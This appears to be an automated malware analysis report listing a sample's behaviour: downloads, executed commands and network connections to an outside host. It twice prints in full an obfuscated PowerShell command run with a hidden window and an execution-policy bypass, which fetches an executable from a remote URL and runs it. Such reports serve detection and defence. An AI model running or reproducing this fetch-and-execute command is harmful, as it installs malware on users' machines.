Technical Information
Malicious functions
Downloads and executes
- https://a.safe.moe/msohy.exe as %temp%\\anyfilename.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C pOwERsHell.Exe -WindowSTYLE HIdden -nOprOFIlE -eXEcUTIonpolICY byPass (NEw-OBJeCt SYSteM.NET.WeBClIENt).DoWNlOAdFiLE('https://a.safe.moe/mSOhY.exe','%TEMP%\\anyFileName.exe') & %TEMP%\\anyFi...
Network activity
Connects to
- 'a.##fe.moe':443
UDP
- DNS ASK a.##fe.moe
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C pOwERsHell.Exe -WindowSTYLE HIdden -nOprOFIlE -eXEcUTIonpolICY byPass (NEw-OBJeCt SYSteM.NET.WeBClIENt).DoWNlOAdFiLE('https://a.safe.moe/mSOhY.exe','%TEMP%\\anyFileName.exe') & %TEMP%\\anyFi...' (with hidden window)
